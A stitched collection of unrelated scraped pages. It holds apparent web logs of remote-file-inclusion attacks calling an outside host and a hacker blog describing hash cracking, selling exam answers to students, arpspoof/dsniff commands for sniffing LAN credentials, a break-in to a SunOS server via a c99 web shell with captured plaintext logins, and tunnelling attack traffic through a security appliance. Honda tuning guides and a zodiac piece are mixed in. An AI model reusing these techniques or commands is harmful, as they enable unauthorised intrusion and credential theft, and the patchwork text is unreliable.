oops i think i did it again

70.87.118.244 - - [15/Sep/2007:06:08:52 -0700] "GET /components ...

mosConfig_absolute_path=http://project-tango.info/info.txt? HTTP/1.1" 404 275 "-" "libwww-perl/5.805" "hollywoodbeautycollege.net" 86.8.25.1 ... hollywoodbeautycollege.net/logs/access_070916.log - 75k - Cached - Similar pages

202.190.203.213 - - [16/Sep/2007:16:06:34 +0900] "GET /admin ...

... [16/Sep/2007:16:06:39 +0900] "GET //components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://project-tango.info/info.txt? ... www.narukage.com/admin/access_log - 149k - Cached - Similar pages

dolfdude69's Yahoo! profile

Home Page:: www.organictangosf.info; Cool Link 1: www.Project-Tango.info; Cool Link 2: www.sftx.info. On Yahoo! Messenger. - Add to friend list ... profiles.yahoo.com/dolfdude69 - 15k - Cached - Similar pages

Int_13h:Dancing with Obsecurity

now im doing the index.html for my site which is http://project-tango.info and still..i didnt managed to get the banners designright..yeah..yeah..i know..im ... interrupt13h.blogspot.com/ - Similar pages

findrecord

... /components/com_serverstat//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://project-tango.info/info.txt? HTTP/1.1" 200 3580 ... www.scit.wlv.ac.uk/.../modules/vwar/admin/components/com_extended_registration/registration_detailed.inc.php - 6k - Cached - Similar pages

Overall Activity Report: naturalthroatsoother.co.nz

mosConfig_absolute_path=http:/project-tango.info/info.txt? 1 Code 404 Not Found = /utopia/stats/components/com_rsgallery/rsgallery.html.php? ... naturalthroatsoother.co.nz/utopia/stats/overall.htm - 268k - Cached - Similar pages

Access Details Report: naturalthroatsoother.co.nz

mosConfig_absolute_path=http:/project-tango.info/info.txt? unresolved (202.46.201.xxx) - Spider/Robot 13 Sep -- 13:06:53 -- 00:01 -- Code 404 Not Found ... naturalthroatsoother.co.nz/utopia/stats/details.htm - Similar pages

209.50.238.178 - - [16/Sep/2007:04:32:50 +0900] "GET /admin ...

... [16/Sep/2007:16:09:28 +0900] "GET /admin//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://project-tango.info/info.txt? ... www.toukiya.com/admin/access_log - 74k - Cached - Similar pages

dns7.cyberneticos.com - - [16/Sep/2007:04:52:18 +0900] "GET ...

... [16/Sep/2007:16:28:00 +0900] "GET /admin//components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path=http://project-tango.info/info.txt? ... www.shibusoku.com/admin/access_log - 99k - Cached - Similar pages

Overall Activity Report: bodyfatblitz.co.nz

mosConfig_absolute_path=http:/project-tango.info/info.txt? 2 Code 404 Not Found = /utopia/stats/components/com_rsgallery/rsgallery.html.php? ... www.bodyfatblitz.co.nz/utopia/stats/overall.htm - 310k - Cached - Similar pages

loadedhosting.com - - [16/Sep/2007:10:09:57 +0900] "GET /admin ...

mosConfig_absolute_path=http://project-tango.info/info.txt? HTTP/1.1" 404 332 202.190.203.213 - - [16/Sep/2007:16:20:53 +0900] "GET ... www.gmobptest02.com/admin/access_log_resolv.tmp - 237k - Cached - Similar pages

168.103.142.117 - - [14/Sep/2007:17:00:30 -0700] "GET /logs/%3Cwbr ...

mosConfig_absolute_path=http://project-tango.info/info.txt? HTTP/1.1" 404 275 "-" "libwww-perl/5.805" "www.getyourselfahorse.com" 202.190.203.213 ... www.getyourselfahorse.com/logs/access.log - 735k - Cached - Similar pages

194.79.31.97 - - [16/Sep/2007:12:08:02 +0900] "GET //modules/vwar ...

mosConfig_absolute_path=http://project-tango.info/info.txt? HTTP/1.1" 404 329 202.190.203.213 - - [16/Sep/2007:16:17:13 +0900] "GET ... www.runpippi.com/admin/access_log_resolv.tmp - 262k - Cached - Similar pages

lsh206.chi.us.siteprotect.com - - [16/Sep/2007:04:56:03 +0900 ...

mosConfig_absolute_path=http://project-tango.info/info.txt? HTTP/1.1" 404 325 202.190.203.213 - - [16/Sep/2007:16:37:15 +0900] "GET ... www.3sho.net/admin/access_log_resolv.tmp - 410k - Cached - Similar pages

Overall Activity Report (Full Lists): GBK Files

06:42:14 16 Sep 2007 1 1315 /components/com_flyspray/startdown.php?file=http:/project-tango.info/info.txt? 19:20:16 25 Sep 2007 1 1315 ...
gbkworks.com/admin/gbklog.files.html - 977k -Cached - Similar pages

Still waiting for the host computer to power up

This summary is not available. Please click here to view the post.

Cracking mood

11/10/2004 01:04 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#000.rt
11/10/2004 01:14 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#001.rt
11/10/2004 01:25 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#002.rt
11/10/2004 01:33 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#003.rt
11/10/2004 01:42 AM 640,000,000 lm_alpha-numeric#1-7_0_2400x40000000_distrrtgen
#004.rt
04/28/2007 01:06 PM 176,406,448 md5_mixalpha-numeric-all-space#1-6_0_1000
0x11025403_distrrtgen_4.rt
04/28/2007 01:03 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_0.rt
04/28/2007 01:04 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_1.rt
04/28/2007 01:05 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_2.rt
04/28/2007 01:06 PM 536,870,912 md5_mixalpha-numeric-all-space#1-6_0_1000
0x33554432_distrrtgen_3.rt


Ive been downloading for about 1 day now and i have finished downloading 10 tables now..still got 45 tables to go :i
man thats alot..but i still determined to crack the admin pass that i obtained and as far that ive known..my lm_alpha-numeric cant crack the pass..so i ave to download this table..60gb in size..i hope that it will finished on time..
this is the damn hash..man..it hard to crack this one..
DDF770BB0D20450F96690E39xxxxxxx:429717DBFA1BA1C8DB4B736Exxxxxxxx
:censored:

now ive been looking for rainbow table for office documents:) really new actually but im pretty sure that there must be one on the net and im still searching..:O byw..i think i have to buy a new portable HD just to cater my cracking needs..

In my university again!!

argh!!! yeah..yeah..i know..now that i got no jobs and got no money and got nothing to do..i went back to my university..ive been sitting here for almost 2 weeks now and i haven't earned a single penny from the students.I need duit raya la for this year. i need to change my vtec engine coz im very boared with that engine.

Know why? 1)vtec in satria sounds weird right
2)no aircond
3)the mounting always get worn out every 2-3 month
how the hell im going to replace that if i don't have money?mm.. and now ive made my decision to take he mitsubshi 4g61 engine.

but first things first..i have to sell my engine at 4K and then buy the 4g61 engine for 3.8K then have to buy the new dashboard..the gearbox and make my car look like a car(now it doesnt).

Hm..now it's called Int_13h MLM(Multi level marketing) i've been giving out what the students need to pass their exams and now their bargaining on the price.WTF? you have what it takes to pass and graduate bt u still want to bargain the price.Thats what i call not appreciating what is given to u rite?what happens if all this are not possible in the university?maybe u'll be dying and struggling for that subject rite?

I guess maybe their now afraid coz the exam day are far away and tests also have not been condusted yet..but now ive been thinking to raise the price;) coz i think that they are arrogant rite?nvm..later ull come for it..and during that time..it'll be lot more expensive than before.FYI i just want to earn around 1-2K god dammit!!

Ford XF Throttle Body Installation

Ford XF Throttle Body Installation

This section contains the installation details of the Ford XF throttle body into my Honda Civic (including photos). The Ford XF throttle body was obtained from a local Ford wrecker. It is from a straight 6 Ford XF Falcon.

Dimensions

Below is a table containing a series of dimensions used to compare both the first and second generation B16A Honda throttle bodies and the Type R throttle body with the Ford XF throttle body. The Ford XF throttle body is much larger than any of the stock Honda ones.

Throttle body measurements

Measurement	B16A G1	B16A G2	B18C spec.R	Ford XF
Opening - Front	62mm ID, 69mm OD	n/a	n/a	71mm ID, 81mm OD
Opening - Back	59mm	63mm	n/a	67.5mm
Butterfly	58mm	60mm	62mm	65mm (68mm available)
Butterfly to back	20.5mm	20.5mm	20.5mm	53mm

Installation Steps

Installing the Ford XF throttle body is by no means an easy task for the Honda intake manifold. If you do want to use a Ford XF throttle body I suggest getting a second intake manifold (preferably the second generation model), because there is a possibility that it could all turn to custard since there is quite a bit of welding and grinding involved if you want to do it properly.

Here are the steps that we went through to install the Ford XF throttle body.

1. Fill the existing TB mounting holes, and the existing air supply lines to the Idle Air Control Valve (IACV). You'll need to know someone that is competent at welding aluminium for this step.

   

2. Clean up the face of the intake manifold taking care not to mark the face too much. Otherwise you may end up with an air leak between the intake manifold and the throttle body when it is put back together again.
3. Line up where the new TB will be mounted, taking care that you will be able to port match the intake manifold without breaching any of the existing cavities. On the second generation intake manifold the right hand side of the original hole was left and all of the material was taken out from the left.
4. Mark the locations of the mounting holes and where the manifold has to be port matched to.

   

5. Port match the intake manifold and drill and tap the mounting holes. You need to remove a lot of aluminium during the port matching because the back of the Ford XF throttle body is much larger than the stock Honda one.

   

6. Drill a hole into the back of the intake manifold that will breach the old IACV air supply line. This is not required if you don't mind the car idling low on a cold morning, or when the air conditioning is on. Weld on a spiggot that will be used to connect the air supply line from the existing Ford XF TB arrangement.
7. Below is a comparison of the port matched second generation intake manifold compared to a first generation intake manifold (the one that is stock standard on the 1990 Honda Civic SiR).

   

8. Now you have to drill a hole into the Ford XF throttle body that will be used for the vaccum line that connects to the Honda MAP (Manifold Absolute Pressure) sensor. We drilled a hole through the side of the manifold in the big square bit at the back and epoxied in a stock Honda vacuum line pickup that we pulled out of an old Honda throttle body that was lying around.
9. The stock Ford XF throttle body contains two large air lines before the throttle body. One of these will be used to supply air to the IACV valve, but the other one is not needed. We just pulled out the brass pickup and got some aluminium rod the same size as the hole and then plugged it up.
10. Create (or purchase) the gasket for the Ford throttly body and then attach it to the intake manifold. We just made a gasket out of some gasket paper. We also sprayed the intake manifold and throttle body with a high temp ceramic white paint in an attempt to prevent the intake from heating up through the conduction of the underhood air temperature.
11. The next part was to get the throttle position sensor (TPS) sorted out so that it will register the correct voltage at closed, WOT and every where in between. Upon measuring the resistance of the Ford TPS at both the minimum and maximum rotation angles it was quite different to that of the Honda TPS at both minimum and maximum rotation. To prevent any problems with the TPS and so we could use the stock Honda wiring harness we decided to see if we could make up an adapter so that we could use a standard Honda TPS. The picture below shows the Ford XF TPS next to a chopped up Honda one.

    

12. To make the adapter we needed to remove the bit that contacts the Honda TPS from the end of a Honda butterfly spindle and attach that to the end of the Ford XF butterfly spindle. That bit is attached with a sleeve that slides over the Ford spindle and is secured using the standard split pin that normally turns the Ford TPS. We also needed to fabricate a block that could be attached to the Ford XF throttle body, but allow us to use the Honda TPS. The pictures below show all of the bits for the adapter, and the adapter installed in place on the Ford XF throttle body.

    

13. The next step is to make sure that you get full throttle and adjust the butterfly stop if you are not. Note how much bigger the opening of the Ford throttle body is compared to a stock Honda one. Note also the hose that connects the air supply from before the throttle plate to the IACV valve.

    

14. Below are some photos of the finished intake manifold compared to the stock second generation intake manifold and throttle body that used to be on the car.

    

Problems

After installing the new throttle body and intake manifold on the car, we had massive problems trying to get it to idle at anything below 2000rpm. It turns out the the Ford XF throttle body is not machined to similar standards as the stock Honda throttle body. After taking the throttle body off the car and looking at how well the throttle plate seals with the rest of throttle body, it was clear that there was probably enough air getting past it to cause the problem. We also checked the idle bypass screw and that too was letting quite a bit of air past when it was completely closed.

To remedy the problem the Ford XF throttle body was bored out to 66.5mm and had a new throttle plate created to fit the new surface. The throttle bypass screw was also altered so that it actually closes and shuts off (well almost) all of the air.

So, when purchasing a Ford XF throttle body, be sure to check how well the throttle plate shuts. This can be done by looking at the plate with a strong light behind it. Any gaps between the throttle plate and the throttle body will be apparent as light gets past. Also check the idle bypass screw. This is a little harder to do, but can be done by trying to blow through the throttle body when it is closed and feeling for air escaping where the idle bypass exits on the other side of the throttle plate. A bit of moisture on a finger can help detect the air.

Results

With the car now running properly and having dynoed the car, there were some pretty good gains. The car gained 5kW at peak and 10Nm at peak.

Ford XF Throttle Body Swap

Ford XF Throttle Body Swap

For pictures and details of the Ford XF throttle body swap, go to the Ford XF Throttle Body Installation web page.

In the search for more power, a bigger throttle body (TB) was determined to be the next place to investigate given that the intake, headers and exhaust had already been improved. Since I have access to a lathe and other machinery, the first thing I investigated was overboring the standard Honda throttle body.

Upon investigation, the standard second generation B16A throttle body looks like it can only be bored by about 1mm, perhaps 2mm before you breach into the cavity that the throttle position sensor (TPS) lives. Such a small increase in diameter for the amount of other work that is involved just didn't seem worth it. So I decided to investigate the option of swapping in a completely different throttle body. Of course the best place to start looking is in the range of OEM throttle bodies that Honda produces. Unfortunately, the 60mm throttle plate in the second generation B16A TB is the largest size that Honda produces apart from the B18C Type R throttle body, which is only 2mm bigger at 62mm.

For all the potential hassle that could be involved with doing a TB swap, an extra 2mm just didn't seem like enough. Mainly because I don't like doing things in a small way. I figure that if you are going to do a modification, you might as well do it big to get a noticeable change. I started looking at what aftermarket throttle bodies were available to swap in for the standard B16A throttle body and found several:

• Spoon 70mm TB
• RC Engineering 64mm Overbored TB
• Erick's Racing TB

The Spoon 70mm throttle body (despite its name) in fact only has a 62mm throttle plate. The 70mm refers to the internal measurement at the end of the machined taper intake. The RC Engineering overbored throttle body looks like a first generation B16A throttle body that has been overbored to 64mm. I am not sure how they got around the cavity breach problem underneath the TPS. I suspect they filled in the cavity with weld before overboring, which looks completely feasible (however, the MAP sensor vacuum pick up point may of had to be altered as well). The Erick's Racing throttle body looked fantastic, but it cost way more than that I was willing to pay for one. Also any of these throttle bodies would have to come from overseas, which makes the prices even more ridiculously expensive when you are paying with New Zealand dollars and have to pay US prices.

I remembered reading somewhere that someone had managed to use a throttle body off a Ford Falcon somewhere else in New Zealand (the land of Kiwi ingenuity) to get substantially more air. I did some more research locally and found out that a Ford XF throttle body can be obtained with either a 65mm or 68mm throttle plate. They can also be obtained at a pretty good price at the local Ford parts wrecker. This option seemed to satisfay all my criteria: relatively cheap with a pretty good increase in size. The only downside was that some fabrication may be required, but this didn't really bother me. After all, nothing comes for free. I think that these throttle bodies usually live on a Ford straight 6 engine.

Below is a table comparing the percentage air flow increase for all of the different throttle bodies that I found during my investigation. The air flow increase is based on the approximate difference in cross sectional area at the throttle plate (allowing for the size of the spindle) when compared to the first generation B16A throttle body.

Air flow increase measurements

Model	Throttle Plate Size	Air Flow Increase
B16A G1	58mm	0% (all comparisons to this)
B16A G2 and G3	60mm	7.6%
B16B	60mm	7.6%
B18C	60mm	7.6%
H22A	60mm	7.6%
B18C Type R	62mm	15.4%
B16B	62mm	15.4%
Spoon 70mm	62mm	15.4%
RC Engineering	64mm	23.5%
Ford XF Falcon	65mm or 68mm	27.6% or 40.5%
Erick's Racing	68-66mm or 70-68mm	40.5% or 49.4%

So, I ended up purchasing a wrecked 65mm Ford XF throttle body. It was harder to find a 68mm throttle body, and the approximate 27% increase in air flow sounded more realistic for the 1600cc engine than the massive 40% you would get with a 68mm TB. Once I had the throttle body I started trying to figure out what fabrication would be required to get it to mate with the Honda intake manifold and various electronic sensors.

Below is a picture comparing the first generation B16A throttle body with the wrecked Ford XF throttle body. The Ford XF throttle body (on the left) is visually much much larger than the stock Honda one. There is also enough aluminium in the Ford throttle body to bore it all the way out to a 70mm throttle plate. Click on the picture to get a larger view of it.

It ended up being a bit of a mission to install the Ford XF throttle body. Now things are finally running fine with it and I think the improvements to the torque curve were well worth it. There wasn't much drop in torque down low, and the increase in torque up high was reasonably substantial as shown in the latest B16A Dyno Runs.

Honda B16A ECU

Honda B16A ECU Error Codes

The table below lists the ECU error codes that can be thrown by a Honda B16A ECU. These codes have been copied directly from a Honda Service Manual. I can't remember which year Honda it was for, but I think it was for a 5th generation Honda Civic.

How to Obtain ECU Error Codes - How to Reset ECU Error Codes

These error codes are very useful for determining the cause of any problems that you may have, for example after doing a , Ford XF Throttle Body Swap or for general maintenance purposes.

Honda ECU Diagnostic Trouble Codes

Diagnostic Trouble Code (DTC)	System Indicated
0	Engine Control Module (ECM)
1	Heated Oxygen Sensor (HO2S)
3	Manifold Absolute Pressure (MAP Sensor)
4	Crankshaft Position (CKP Sensor)
6	Engine Coolant Temperature (ECT Sensor)
7	Throttle Position (TP Sensor)
8	Top Dead Center Position (TDC Sensor)
9	No. 1 Cylinder Position (CYP Sensor)
10	Intake Air Temperature (IAT Sensor)
13	Barometric Pressure (BARO Sensor)
14	Idle Air Control (IAC Valve)
15	Ignition Output Signal
16	Fuel Injector
17	Vehicle Speed Sensor (VSS)
20	Electrical Load Detector (ELD)
21	Variable Valve Timing & Valve Lift Electronic Control Solenoid Valve (VTEC Solenoid Valve)
22	Variable Valve Timing & Valve Lift Electronic Control Pressure Switch (VTEC Pressure Switch)
23	Knock Sensor (KS)
30	A/T FI Signal A
31	A/T FI Signal B
41	Heated Oxygen Sensor (HO2S) Heater
43	Fuel Supply System

How to Obtain ECU Error Codes

To determine if your ECU has an error code:

1. Locate the ECU under the carpet in the passenger foot well.
2. Find the red LED in the center of the ECU.
3. Turn the ignition to ON. The red LED should flash once when this happens to indicate that the ECU has power.
4. If there are no further flashes then there are no error codes.
5. If there are further flashes then there are one or more error codes.

To get the number of the stored error code you need to count the number of long flashes and the number of short flashes. The long flashes will occur before the short ones. A long flash represents 10, and a short flash indicates 1. So if the flashes look like _ _ - - (where _ is a long flash and - is a short one) then the error code is 22.

If there are mulitple error codes, then there will be a noticeable pause before the next code starts. If for some reason you end up with an error code that is not on the list above, make sure you are not joining together flashes from two separate error codes. If you are sure about the error code and it is not above, then perhaps do a search for other Honda ECU error codes. The entire list is longer than above for engines other than first generation B16A engines.

How to Reset ECU Error Codes

To reset the error codes stored in the ECU you pretty much need to disconnect the battery. This is the only way I have managed to do it thus far. Apparently you can remove the ECU fuse in the engine bay and the clock fuse in the cabin to reset it, but I haven't had a chance to test it yet even though I got the Fuse Panel Translation months ago. Removing the ECU fuse in the engine bay alone does not reset the error codes no matter how long you leave it out.

EF9 Fuse Panel Translation

This page contains the Japanese to English fuse panel translation for an EF9 Honda Civic SiR. One of the people at Work speaks and can read Japanese. So a big thanks to Phillip Barlow for the translation that appears below.

Japanese Version - English Translation - European Fuse Panel

Japanese Version

The picture below is a scanned version of the Japanese fuse panel. Apparently the Japanese found on the fuse panel is typical of most Japanese to Western European conversions. The characters that appear are actually the Japanese phonetics for the English version of the words. This is kind of similar to the phonetic descriptions seen next to words in most English dictionaries, except using Japanese characters. For example, the translation for radio might sound something like rajio from the Japanese phonetic symbols.

English Translation

The table below contains the English translations of the Japanese phonetic characters. Note that the direct conversion from Japanese to English is sometimes a little off.

Thanks to Chris Schoen for letting me know that the Meter light in fuse 7 refers to the lights in the instrument/speedo cluster. It is also likely that fuse 17 is just for the radio, and that fuse 12 is for the cigarette lighter, clock and interior light. I will test these on my car at some stage and confirm the results.

Chris Schoen has also created a Word document that contains the English fuse translation information below in a format that can be directly printed and placed into the existing slot for the fuse panel. Simply download or open the and print it out onto some thin card.

1990 EF9 JDM Honda Civic SiR Fuse Panel Translation

Fuse	English Translation
1	Reverse Lights Turn Signals [Indicators]
2	Starter Signal
4	R Headlight High Beam
5	L Headlight High Beam
6	Sunroof
7	Tail Light Meter [Instrument/Speedo Cluster] Lights License Plate Light
10	L Headlight Low Beam
11	R Headlight Low Beam
12	Clock Radio Internal Light
13	Wiper Washer (Power Windows and Sunroof Relay)
14	Alternator Solenoid
15	Cooling Fan
17	Cigar Lighter Relay
18	Rear Defroster [Demister] Relay (Heater Motor Relay)
20A	R Power Window
20A	L Power Window
30A	Heater Motor

Set Idle

Set Idle

Setting the idle correctly on a Honda Civic (or any Honda) is important. If the idle is not set correctly the car will either idle too low, or it will idle too high causing the idle to surge up and down.

Instructions to set the Idle

1. Warm the car up to operating temperature. This is generally determined when the radiator fan turns on if the car is stationary.
2. Unplug the IACV valve on the back of the intake manifold. This needs to be done because the IACV valve is what the ECU uses to dynamically control the idle by allowing more or less air to bypass the throttle plate. Be careful not to burn yourself!
3. Set the idle to 600rpm using the idle control screw. This screw controls the static amount of air that bypasses the throttle plate.
4. Turn the car off and plug in the IACV valve.Reset the ECU. This needs to be done because the ECU will have thrown an ECU error code.
5. Restart the car. The idle should be running nice and close to 750rpm.

There are other things that can affect the idle, but these are much less likely.

• The throttle plate is worn or is not closing far enough and and is letting too much air past. If this is the problem then you would not have been able to adjust the throttle down to 600rpm with the IACV valve unplugged. Check the adjustment of the throttle stop to make sure that the throttle plate is closing enough.
• The voltage of the throttle position sensor is not correct. It should read 0.5V when the throttle is closed and 4.5V at WOT. This is not easy to test. Refer to your Honda Service Manual for instructions.
• Other gremlins, which I haven't remembered...

B Series Engine Statistics

JDM B Series Engine Statistics

	B16A G1	B16A G2	B16A G3	B16B	B18C 96 spec.R
Type	Water-cooled 4 stroke	Same	Same	Same	Same
Cylinder Arrangement	Inline 4 cylinder, transverse	Same	Same	Same	Same
Block Height 1	263mm	Same	Same	270mm	270mm
Bore x Stroke	81.0mm x 77.4mm	Same	Same	Same	81.0mm x 87.2mm
Displacement	1595cc	Same	Same	Same	1797cc
Compression Ratio	10.2 : 1	10.4 : 1	10.4 : 1	10.8 : 1	11.1 : 1
Valve Train	4 valves per cylinder, belt driven DOHC VTEC	Same	Same	Same	Same
Peak Power	160ps @ 7600rpm	170ps @ 7800rpm	170ps @ 7800rpm	185ps @ 8200rpm	200ps @ 8000rpm
Peak Torque	15.5kgm @ 7000rpm	16.0kgm @ 7300rpm	16.0kgm @ 7300rpm	16.3kgm @ 7500rpm	18.5kgm @ 7500rpm
Specific Output	100ps/l	106.3ps/l	106.3ps/l	115.6ps/l	111.1ps/l
Valve Size (Intake/Exhaust)	33.0/28.0mm	Same	Same	Same	Same
Intake Opening (BTDC)	10	15	15	18	15
Intake Closing (ABDC)	40	45	45	45	45
Intake Duration	230	240	240	243	240
Exhaust Opening (BBDC)	40	40	40	45	45
Exhaust Closing (ATDC)	7	7	7	10	10
Exhaust Duration	227	227	227	235	235
Overlap	17	22	22	28	25
Intake Valve Lift	10.6mm	10.7mm	10.7mm	11.5mm	11.5mm
Exhaust Valve Lift	9.4mm	9.4mm	9.4mm	10.5mm	10.5mm
Valve Springs (Intake/Exhaust)	Dual/Single	Dual/Single	Dual/Single	Dual/Dual	Dual/Dual

Honda Gearbox Ratios

JDM Honda Gearbox Ratios

Code	S80	Y21/Y80/S80/S4C	S80/Y80	Y1	YS1	S1/J1
Car	JDM Integra Type R 98+ (LSD)	JDM 96-97 Integra R (LSD) JDM Civic R [EK9] (LSD) JDM Civic SiR [EK4, EG6] (optional LSD)	JDM SiR-G (optional LSD)	JDM CRX/Civic SiR [EF8, EF9] (optional LSD)	JDM 92-93 XSi Integra (optional LSD)	JDM 90-91 Integra XSi [DA-6]
Type	Hydraulic	Hydraulic	Hydraulic	Cable	Cable	Cable
1st	3.230	3.230	3.230	3.166	3.307	3.230
2nd	2.105	2.105	1.900	2.052	2.105	2.105
3rd	1.458	1.458	1.360	1.416	1.458	1.458
4th	1.034	1.107	1.034	1.103	1.107	1.107
5th	0.787	0.848	0.787	0.870	0.880	0.848
Reverse	3.000	3.000	3.000	3.000	3.000	3.000
Final Drive	4.785	4.400	4.400	4.266	4.400	4.400

Cancer Man

The most sensitive man and the weakest emotional type in all Zodiac. Most
Artists are Cancer. Cancer is controlled by the "Moon" and the moon change
it's shape daily, so Cancer man's emotional and moods change all the time
too. You will confuse with him and yet it is his constantly changes that
"Charm" you. He never go to get what he wants directly, but he will wait for
a chance and opportunity to do so. Once he gets what he wants, he will not
loose it, except if he get tired of it by himself.

The most sensitive man who can not stand rejection. He cares what other
people feel or think of him. He hates loosing face and he tends to over
protected himself, so sometimes people might think he is a cold person.

Gifted, creative, imaginative, is Cancer. A mystery and complexity play a
major role in a life of a Cancer man. He could be very funny, very quiet,
suddenly very sad. Living with him could be very unexpected, for you will
not know what is his next mood. If you like excitement and surprise, you
have the right guy and never have a chance to get bored.

He thinks of his home as "nest" and it is the safest place for him. If he
feels hurt or depress he will stay at home alone quietly. Once he feels
better, he will come out of his retreat and lives normally again. Being a
looser is not him.

It is so easy to fall in love with this guy because he is gentle and a very
polite guy. His wit and creative mind could win your affection. He will come
out from his nest to protect you even if he is not opening himself up to
other people much. Not many people will win his heart. His security is only
when he has money in his pocket. Once he feels secure then he might think of
having a happy family. Even he likes to make and keep money, he is not
stingy. Spending money is part of his good image, so he will be happy to
spent money to take you out to a very expensive restaurant or buy a jewelry
for you. Certainly when he has money OK.

He is possessive to everything's that he thinks belong to him. Don't try to
talk to another cute guy in front of him, he will get suspicion because he
is not very secure or confident in himself for this kind of competition.

Once you know each other too much, he will start to look for new excitement,
but not to worry for he will always think of you. If he thinks you are the
true love for him, and you try once to disappear. You will be sure he will
come and look for you.

He is a shy guy, but if he likes you. You can get up in the morning and see
that he is in front of your house everyday till you go out with him, a very
persistent guy.

He likes a secure, cheerful and lively woman, confident but at the same time
always act proper and appropriate. He likes a secure woman, but able to
adjust to his rapid changes. A very difficult type to find woman indeed.

In the beginning, you and him will be so sugary sweet together and he will
only think of you. This so "super romantic" will not last forever, so don't
slip this chance. If you are the one who want his interest, then act and
make yourself interesting. Be a supportive person and give him compliment
sometimes, but not too much till he thinks you are not sincere.

Unlike many other Zodiac, if he is mad then you better get out of that room.
He will calm down by himself. Giving him a slight touch on his shoulders or
concerned facial expression are enough. He loves his mother, so try to be
his mother favorite, but do not act like his mother!

Installing Dsniff on SunOS 5.8

this is just a simple and lame instruction on how to start sniffing the network

1st thing to do is to make sure that you have the following:

1)openssl pkg-get install openssl
2)libgcc pkg-get install libgcc
3)gcc pkg-get install gcc
4)libnet pkg-get install libnet
5)libnids pkg-get install libnids
6)libpcap pkg-get install
7)berkeley DB just pkg-get install db

all of them are from sunfreeware.com

then after you have completed the following it's time to *sniff*sniff*

pkg-get install dsniff

chec the installation directory of your dsniff.Mine is at /usr/local/sbin

start th arpspoofing
./arpspoof -t targetA targetB 2>/dev/null 1>/dev/null &
./arpspoof -t targetB targetA 2>/dev/null 1>/dev/null &

the function of 2>/dev/null 1>/dev/null & is to make the process output in /dev/null and not at the console which is very irritating actually unless you want to see it;P

then just start ./dsniff >sniffeddata

Ive tried ./dsniff -w sniffdata to output the data to a file but unfortunately my sniffer sees nothing from the network

then just wait for 1 day..and there will be some clear text password and user what will be sniffed

I'm still working on the sshmitm and webmitm...still don't understand the manual..the author didn't give any info:(
Version: 2.4
Usage: sshmitm [-d] [-I] [-p port] host [port]<--what is d and what is I?

if anybody know this..can u put it in the comment

Owning a Sunos 5.8

Dont know what i was thinking on that day..i was given the guessed password for the ftp on the server which was just a normal user account for updating the web page on the server.

after uploading my phpshell which was c99shell i wonder how the heck am i going to get the root access on thin damn server??! becoz it dont have a telnet server onand im not very familar with with this so called "sun" server.

know what the department was so stupid that he put the local MYSQL passwords in the configuration.inc.php fortunately the x11 are opened..hahahaha

tried it and WALLA!! PWNED..haha..nice huh for a lame chemical engineer going to be to try 0WN a sun server rite?

then there it goes~
-openssh shell installed
-squid
-telnet opened
-dsniff<--am i greedy?? -and everityhiiiiing from the sunfreeware to make this server minEEE..ahahha.. login as: root root@160.0.*.*'s password: Sun Microsystems Inc. SunOS 5.10 Generic Int_13h Patch March 2006 <--lame isnt it? Sun Microsystems Inc. SunOS 5.10 Generic Int_13h Patch March 2006 You have new mail.<--wtf???!! Sourcing //.profile-EIS..... root@matrix1 # who root pts/2 Apr 2 11:10 (1*.*.*.*) apache pts/1 Apr 2 10:58 (1*.*.*.*) i was so damn glad that i could install everything on a server that i didn't know much about for having not to sleep for almost 2 days.man..i still remember crippling to those pesky "vi" to edit the /etc/password almost different with linux. btw..just glad to have pwned another server.and sniffing the LAN somemore;P ----------------- 04/02/07 12:03:51 tcp 16*.0.*.35.1535 -> 160.0.*.*.80 (http)
POST /login/index.php HTTP/1.1
Host: blablabla
Content-type: application/x-www-form-urlencoded
Content-length: 35
username=k24527&password=sdgfsdfs

-----------------
04/02/07 12:09:02 tcp 160.*.*.7.1740 -> 160.0.*.*.80 (http)
GET http://league.yesky.com/jsp/siteOwner/sitetext.html?sid=11226&id=55&advert=yesky11226&cid=1122650&sname=cb_advert_block5511226&amp;amp;amp;key=&life=5550&pass=&width=180&amp;amp;amp;bgcolor=FFFFFF&bgcolor2=FFFFFF&bcolor=00FE0C&fcolor=FA1C05&fcolor2=FA1C05&ref=http%3A//www.814e.com/index.html%3Fgoogle HTTP/1.0
Host: league.yesky.com

Tunneling through Viruswall Enforcer hardware

from my old blog

quoted this from trendmicro:

"Network VirusWall™ Enforcer delivers new plug-and-protect Network Access Control (NAC) to protect your networks against the fastest growing source of infection—the mobile and remote workforce. This second generation Network VirusWall appliance controls network access by ensuring devices—managed or unmanaged, local or remote—comply with corporate security policies—before they can access your network.

Network VirusWall Enforcer scans devices for the most up-to-date security software and critical Microsoft patches—without requiring an agent to be pre-installed on a device. Non-compliant devices are immediately quarantined and sent through automatic remediation. The appliance also builds on proven Network VirusWall security, filtering network traffic to detect and block network worms and bots."

I didn't know that virusswall enforcer had ssh with no password..(been wondering id they had to protect others but the same time don't protect itself)

Tried a few username and it worked just what i need it to be..tunneling

then just leave it there..

Then i just create a dynamic tunnel at port 1082

and i'm done..works just fine~

tried tunneling malicious connection and undetected by the Enforcer:)

WTF??!!! just forgot my password

can you see the difference between interrupt13.blogspot.com and interrupt13h.blogspot.com?

dammit..i just forgot the account name that i have just created..what the hell am thinking at that time?? damn pissed off-n-